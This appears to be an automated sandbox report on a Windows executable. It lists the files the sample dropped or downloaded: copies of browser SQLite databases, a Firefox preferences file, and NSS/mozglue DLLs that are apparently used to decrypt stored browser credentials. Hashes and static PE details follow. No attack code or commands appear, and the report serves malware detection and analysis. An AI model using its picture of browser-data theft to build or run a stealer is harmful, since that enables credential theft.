SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8lZqhAj3NniAGl:r2qOB1nxCkvSAELyKOMq+8lMAjdnG
MD5:	214CFA91B0A6939C4606C4F99C9183B3
SHA1:	A36951EB26E00F95BFD44C0851827A032EAFD91A
SHA-256:	660DE0DCC188B3C35F8693DA4FE3EABD70D55A3AA32B7FDD6353FDBF04F702D7
SHA-512:	E2FA64C41FBE5C576C0D79C6A5DEF0EC0A49BB2D0D862223E761429374294332A5A218E03C78A0D9924695D84B10DC96BCFE7DA0C9972988D33AE7868B107789
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAKFIDHDGIEGCAKFIIJKFCBFBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGDAEHCBGIIJJJJKKKEHDGHJKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03779668081370459
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZh1B++NbBl3D56+9H9HI:58r54w0VW3xWZhW+Ff3AW9
MD5:	F5A3FAA39A2FDA10356E1889BC81EA55
SHA1:	FD4D7CF58C33C8583E45D88A2F89B8F66770644B
SHA-256:	55BDD67E95C3B441AE02D26939E484E14B14550F5A273F3E35ADE569ABA8FAF9
SHA-512:	28766C6C4FCB65CF9B436ED51708FABF3E2D8F8B3344F80B64A93994EE170DBB25025DBDB164A22636C1354139215A8B4181AC35D9E98A9950E9C1ECF1473D7F
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCAEGCBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1366744760037832
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cZ/Q4:MnlyfnGtxnfVuSVumEHZY4
MD5:	403AF73130A55F1DF5D5D597717A386C
SHA1:	AA0262EE3F7188D59D5859AF240B725AA9252212
SHA-256:	A225C7166B6841D04F34589DB373472CA34525F88A644B5903733563372642AD
SHA-512:	B70388D614814369D8DB9E4F3F20FB2F16EED5A65893DC7A8872E8FC462A7338F929A0777B4D18B77E1F4A6864CDA790ABD91116C9D1483DFFB64173699EEAEF
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIIEBAFCBKFIDGCAKKKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDBGHDGHCGHCAAKFIIEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	10307
Entropy (8bit):	5.499938759131961
Encrypted:	false
SSDEEP:	192:nAngRHBE1ibqp67PQ77QCVUgaXQ6iKK/4z3NBw8D8kSl:njAiQPQCVUJi/8fw9k0
MD5:	3689683C20BBA57B8844A42FF5EBD9C1
SHA1:	6659237CF9F919DB356FF565168266BF32315149
SHA-256:	288DB1D8AEA9CDA0DE68FDD2D6A816FA48CD8A7E2427B7159D4026666553FBC2
SHA-512:	75A10281DCD2D8342EC7876A1A5D0FE05076CD55AC20B2664026264DA5085DC905B3678EED3EF691BDE5F54531D3734E48D7A330C5645DBE0D99C1C456722A27
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "4cbb0eca-22b0-45bf-8c7b-17c3580947ca");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696503498);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696503523);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JJJJEBGDAFHJEBGDGIJDHCAKJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8501914549146043
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBOKq/hFKipNzF23ukuE1:ThFawNLopFgU10XJBODhFKMxk1
MD5:	3BD8534EE37F707CEE75F67A6F27C5BD
SHA1:	C02E6D9D228504D8C11FD7F24D26B367AB013D46
SHA-256:	2AA70608BCC9634BD4C977584969B0FC26C5B612C3D9706290A1CDA5D55941CF
SHA-512:	30828B32AD1D9D1A71A81686133123868B34C4BC67B8E321A7B3F5E875E3C836E5BE5B6B0C458349ED88F8ECC167AF4C29C7E678DF9822E2685850FF5F45E8DE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: L0ad3r.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Loader.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: jqLt8WnO6C.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: L0ad3r.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Loader.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: jqLt8WnO6C.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949737111422521
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'828'864 bytes
MD5:	3ddd3285248eedf8b26f3fb256f2a9a9
SHA1:	b87fe1fa8c3629818b9e1dd32ceed194766358f8
SHA256:	7e97a2b505c5c1921dd8a5da2ef5f879e79977ee1f856c776889f3d3765be4cc
SHA512:	906b03ccbaf1de3b32313dda5e6fc1fbfc2ec16c39e17f10fa2ff8be9ac1495899fbd800cc2d60f295d1cbd5d478c7a58aaa43c94210e61364c49e437070ac57
SSDEEP:	24576:5hKZK7L/VQ8t/NQmfzc7xmGejYInYnIjY7svdBuYjUsDmgFtAGVI2dJ57rTh4QE:5hvdZJ7cHejYI1jYYvKYjzAG3H7i
TLSH:	AF8533E34E78C291D4D6283132632BFA7C15F8F262E7C03695A5D06D83D6E1778E7688
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa91000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD0E47DFC6Ah
shufps xmm3, dqword ptr [ebx], 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FD0E47E1C65h
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
